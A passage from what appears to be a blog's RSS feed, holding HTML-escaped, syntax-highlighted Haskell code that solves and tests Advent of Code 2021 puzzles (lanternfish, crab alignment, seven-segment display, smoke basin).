&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;print&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;AoC2021&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;Lanternfish&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;numOfFishIn80Days&lt;/span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;putStr&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#8045ff"&gt;\t&lt;/span&gt;&lt;span style="color:#d88200"&gt;Part 2: Number of lanternfish after 256 days: (1631629590423) &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;print&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;AoC2021&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;Lanternfish&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;numOfFishIn256Days&lt;/span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;solution07&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;IO&lt;/span&gt; &lt;span style="color:#111"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;solution07&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;putStrLn&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Day 07. The Treachery of Whales&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;parseHorizontalCrabPositions&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;src/scratchpad/07-treachery-of-whales.input.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;putStr&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#8045ff"&gt;\t&lt;/span&gt;&lt;span style="color:#d88200"&gt;Part 1: Min fuel needed to align horizontal positions: (329389) &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;print&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;TreacheryOfWhales&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;minFuelForAlignmentWithConstantBurnRate&lt;/span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;putStr&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#8045ff"&gt;\t&lt;/span&gt;&lt;span style="color:#d88200"&gt;Part 2: Min fuel needed to align with increasing burn rate: &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;print&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;TreacheryOfWhales&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;minFuelForAlignmentWithIncreasingBurnRate&lt;/span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;printCheckedSolution&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;Eq&lt;/span&gt; &lt;span style="color:#111"&gt;a&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Show&lt;/span&gt; &lt;span style="color:#111"&gt;a&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;a&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#111"&gt;a&lt;/span&gt; &lt;span style="color:#f92672"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;IO&lt;/span&gt; &lt;span style="color:#111"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;printCheckedSolution&lt;/span&gt; &lt;span style="color:#111"&gt;actual&lt;/span&gt; &lt;span style="color:#111"&gt;expected&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;let&lt;/span&gt; &lt;span style="color:#111"&gt;actualStr&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#111"&gt;show&lt;/span&gt; &lt;span style="color:#111"&gt;actual&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#00a8c8"&gt;let&lt;/span&gt; &lt;span style="color:#111"&gt;mark&lt;/span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#111"&gt;actual&lt;/span&gt; &lt;span style="color:#f92672"&gt;==&lt;/span&gt; &lt;span style="color:#111"&gt;expected&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;✅&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;|&lt;/span&gt; &lt;span style="color:#111"&gt;otherwise&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;❌ (expected &amp;#34;&lt;/span&gt; &lt;span style="color:#f92672"&gt;++&lt;/span&gt; &lt;span style="color:#111"&gt;show&lt;/span&gt; &lt;span style="color:#111"&gt;expected&lt;/span&gt; &lt;span style="color:#f92672"&gt;++&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;printf&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;%s %s&lt;/span&gt;&lt;span style="color:#8045ff"&gt;\n&lt;/span&gt;&lt;span style="color:#d88200"&gt;&amp;#34;&lt;/span&gt; &lt;span style="color:#111"&gt;actualStr&lt;/span&gt; &lt;span style="color:#111"&gt;mark&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;solution08&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;IO&lt;/span&gt; &lt;span style="color:#111"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;solution08&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;putStrLn&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Day 08. Seven Segment Search&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;parseSevenSegmentsDisplay&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;src/scratchpad/08-seven-segment-search.input.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;putStr&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#8045ff"&gt;\t&lt;/span&gt;&lt;span style="color:#d88200"&gt;Part 1: Number of times the digits 1, 4, 7, or 8 appear in output: &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;printCheckedSolution&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;SevenSegmentSearch&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;numOf1478AppearancesInOutput&lt;/span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;330&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;putStr&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#8045ff"&gt;\t&lt;/span&gt;&lt;span style="color:#d88200"&gt;Part 2: Sum of output values: &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;printCheckedSolution&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;SevenSegmentSearch&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;sumOfOutputValues&lt;/span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1010472&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;solution09&lt;/span&gt; &lt;span style="color:#f92672"&gt;::&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;IO&lt;/span&gt; &lt;span style="color:#111"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75af00"&gt;solution09&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;do&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;putStrLn&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;Day 09. Smoke Basin&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;lt;-&lt;/span&gt; &lt;span style="color:#111"&gt;parseHeightMap&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;src/scratchpad/09-smoke-basin.input.txt&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;putStr&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#8045ff"&gt;\t&lt;/span&gt;&lt;span style="color:#d88200"&gt;Part 1: Sum of the risk levels of all low points on heightmap: &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;printCheckedSolution&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;SmokeBasin&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;sumOfRiskLevelsOfLowPoints&lt;/span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;417&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;putStr&lt;/span&gt; &lt;span style="color:#d88200"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#8045ff"&gt;\t&lt;/span&gt;&lt;span style="color:#d88200"&gt;Part 2: Product of the 3 largest basins: &amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;printCheckedSolution&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;SmokeBasin&lt;/span&gt;&lt;span style="color:#f92672"&gt;.&lt;/span&gt;&lt;span style="color:#111"&gt;productOf3LargestBasins&lt;/span&gt; &lt;span style="color:#111"&gt;input&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1148965&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>AoC 2021 Test Code</title><link>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2021/test/AoC2021Test/</link><pubDate>Mon, 11 Apr 2022 00:00:00 +0000</pubDate><guid>https://www.curiosities.dev/computer-science/programming-challenges/advent-of-code/2021/test/AoC2021Test/</guid><description>&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#272822;background-color:#fafafa;-moz-tab-size:2;-o-tab-size:2;tab-size:2;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-hs" data-lang="hs"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;module&lt;/span&gt; &lt;span style="color:#111"&gt;Main&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#75af00"&gt;main&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;where&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;AoC2021InputParser&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75af00"&gt;parseBinaryDiagnosticInput&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75af00"&gt;parseBingoInput&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75af00"&gt;parseHydrothermalVents&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75af00"&gt;parseLanternfishInternalTimers&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75af00"&gt;parseHorizontalCrabPositions&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75af00"&gt;parseSevenSegmentsDisplay&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75af00"&gt;parseHeightMap&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;BinaryDiagnostic.BinaryDiagnostic&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#75af00"&gt;lifeSupportRating&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#75af00"&gt;powerConsumption&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;Data.String&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;IsString&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#75af00"&gt;fromString&lt;/span&gt;&lt;span style="color:#111"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;Dive.Dive&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#75af00"&gt;productOfFinalPosition&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#75af00"&gt;productOfFinalPositionWithNewIntepretation&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;GiantSquid&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#75af00"&gt;scoreOfFirstWinningBoard&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#75af00"&gt;scoreOfLastWinningBoard&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;HydrothermalVenture.HydrothermalVenture&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt; &lt;span style="color:#75af00"&gt;pointsWithAtLeastTwoRightSegmentOverlaps&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75af00"&gt;pointsWithAtLeastTwoSegmentOverlaps&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;qualified&lt;/span&gt; &lt;span style="color:#111"&gt;AoC2021.Lanternfish&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#75af00"&gt;numOfFishIn80Days&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#75af00"&gt;numOfFishIn256Days&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;qualified&lt;/span&gt; &lt;span style="color:#111"&gt;AoC2021.TreacheryOfWhales&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;as&lt;/span&gt; &lt;span style="color:#111"&gt;TreacheryOfWhales&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;minFuelForAlignmentWithConstantBurnRate&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;minFuelForAlignmentWithIncreasingBurnRate&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;qualified&lt;/span&gt; &lt;span style="color:#111"&gt;AoC2021.SevenSegmentSearch&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;as&lt;/span&gt; &lt;span style="color:#111"&gt;SevenSegmentSearch&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#111"&gt;numOf1478AppearancesInOutput&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#111"&gt;sumOfOutputValues&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;qualified&lt;/span&gt; &lt;span style="color:#111"&gt;AoC2021.SmokeBasin&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;as&lt;/span&gt; &lt;span style="color:#111"&gt;SmokeBasin&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt; &lt;span style="color:#111"&gt;sumOfRiskLevelsOfLowPoints&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;productOf3LargestBasins&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;Paths_advent_of_code_y2021&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#75af00"&gt;getDataFileName&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;SonarSweep&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt; &lt;span style="color:#75af00"&gt;num3MeasurementIncreases&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#75af00"&gt;numIncreases&lt;/span&gt; &lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;System.IO&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;IOMode&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;ReadMode&lt;/span&gt;&lt;span style="color:#111"&gt;),&lt;/span&gt; &lt;span style="color:#75af00"&gt;hGetContents&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#75af00"&gt;withFile&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;Test.HUnit&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;Counts&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#f92672"&gt;..&lt;/span&gt;&lt;span style="color:#111"&gt;),&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;Test&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;TestCase&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;TestLabel&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#00a8c8"&gt;TestList&lt;/span&gt;&lt;span style="color:#111"&gt;),&lt;/span&gt; &lt;span style="color:#75af00"&gt;assertEqual&lt;/span&gt;&lt;span style="color:#111"&gt;,&lt;/span&gt; &lt;span style="color:#75af00"&gt;runTestTT&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;AoC2021Args&lt;/span&gt; &lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#00a8c8"&gt;Args&lt;/span&gt;&lt;span style="color:#111"&gt;(&lt;/span&gt;&lt;span style="color:#f92672"&gt;..&lt;/span&gt;&lt;span style="color:#111"&gt;),&lt;/span&gt; &lt;span style="color:#75af00"&gt;aocArgParser&lt;/span&gt;&lt;span style="color:#111"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#00a8c8"&gt;import&lt;/span&gt; &lt;span style="color:#111"&gt;Options.Applicative&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
